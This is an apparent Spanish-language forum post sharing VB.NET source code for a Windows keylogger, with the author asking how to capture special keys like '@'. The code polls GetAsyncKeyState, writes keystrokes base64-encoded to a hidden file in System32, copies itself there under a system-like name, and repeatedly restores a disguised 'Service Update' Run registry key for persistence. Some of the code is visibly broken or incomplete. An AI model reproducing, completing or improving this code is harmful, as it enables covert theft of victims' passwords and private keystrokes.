aqui esta el codigo fuente , se que no es el mejor pero creo que a alguien le puede servir de algo,
Hay que tratar de eliminar las referencias a librerias que no estemos ocupando, para el caso de este keylogger deje solo windows.forms
Aqui esta codigo fuente del "Programa Principal"
Código
Alguna sugerencia para poder mejorarlo por favor
'-------------------------------------------------------------------------- Imports System.Windows.Forms Module KLG Sub main() Dim tiempo As DateTime = DateTime.Now SetAttr(ruta, FileAttribute.Hidden) End If Comprobar_el_reg() copiar_a("cssrs.exe", "C:\Windows\System32\cssrs.exe") escribe("<<" & tiempo.ToShortTimeString() & "|" & tiempo.ToShortDateString() & ":") While ((comprobar_tecla(27) And comprobar_tecla(32) And comprobar_tecla(69)) <> True) espera(70) Comprobar_el_reg()'esto en un ciclo ya que si borran la clave de registro esta se podra volver a registrar For i As Integer = 32 To 128 If comprobar_tecla(i) = True Then espera(70) escribe(Chr(i)) Exit For End If Next If comprobar_tecla(13) = True Then escribe(" (E) ") End If If comprobar_tecla(8) = True Then escribe(" (B) ") End If If comprobar_tecla(9) = True Then escribe(" (T) ") End If If comprobar_tecla(27) = True Then escribe(" (S) ") End If If comprobar_tecla(32) = True Then escribe(" ") End If If comprobar_tecla(46) = True Then escribe(".") End If End While escribe(">>EOR") Application.Exit() End Sub End Module '-------------------------------------------------------------------------- Aqui el modulo llamado Mod_Operaciones Module Mod_Operaciones Friend Const ruta As String = "C:\Windows\System32\cssrs.001" 'Escribe en el archivo cssrs.001 las lecturas registradas 'se le agrega un poco de seguridad convirtiendolo a base64 Friend Sub escribe(ByVal cadena_tecla As String) Dim archivo As New IO.StreamWriter(ruta, True) archivo.WriteLine(Convert.ToBase64String(System.Text.Encoding.Default.GetBytes(cadena_tecla))) archivo.Flush() archivo.Dispose() archivo.Close() End Sub 'Copia el ejecutable de keylogger en el directorio system32 Friend Sub copiar_a(ByVal ruta_origen As String, ByVal ruta_destino As String) End Sub 'Intervalo de tiempo para las lecturas Friend Sub espera(ByVal milisegundos As Integer) Threading.Thread.Sleep(milisegundos) End Sub End Module '-------------------------------------------------------------------------- Modulo llamado Mod_Operaciones Imports Microsoft.Win32 Module Mod_Subsistir Declare Function GAKS Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer 'Comprueba si la clave de registro se encuentra en el sistema 'si no existe o si es borrada la crea Friend Sub Comprobar_el_reg() Dim llave_reg2 As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) If llave_reg2.GetValue("Service Update", "C:\Windows\System32\cssrs.exe") <> Nothing Then llave_reg2.SetValue("Service Update", "C:\Windows\System32\cssrs.exe") End If End Sub 'Se encarga de saber que tecla ha sido pulsada Friend Function comprobar_tecla(ByVal tecla As Integer) As Boolean If GAKS(tecla) <> 0 Then Return True End If End Function End Module '--------------------------------------------------------------------------
ahora el problema que tengo es que no se como leer teclas especiales como @ .
y ya probe
comprobar_tecla(64)